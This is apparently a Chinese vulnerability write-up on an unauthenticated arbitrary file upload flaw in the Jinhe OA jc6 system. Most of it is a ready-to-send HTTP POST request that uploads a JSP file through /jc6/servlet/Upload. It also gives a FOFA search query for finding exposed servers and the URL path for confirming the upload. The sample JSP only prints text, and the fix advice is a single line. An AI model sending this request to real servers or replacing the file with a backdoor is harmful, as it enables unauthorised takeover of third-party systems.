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Published on 2024-08-30 / 2 Visits
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J1-9金和-OA-文件上传

J1-9金和-OA-文件上传

漏洞描述:

金和OA jc6系统/jc6/servlet/Upload接口处存在任意文件上传漏洞,未经身份认证的攻击者可利用此漏洞上传恶意后门文件,最终可导致服务器失陷。

影响版本:

  • 金和 OA

网络测绘:

fofa语法:

FOFA:body=“/jc6/platform/sys/login”

漏洞复现:

payload:

POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=&setpath=/upload/ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAXlSiqxJXrhK

------WebKitFormBoundary5iALAXlSiqxJXrhK
Content-Disposition: form-data; name="img"; filename="1.jsp"
Content-Type: image/jpeg

<% out.println("Hello, World!"); %>
------WebKitFormBoundary5iALAXlSiqxJXrhK

效果图:
a1a21f5e15bd41838f4a6d3f71853377.png
验证url

/jc6/upload/回显的文件名

修复建议:

更新到最新系统


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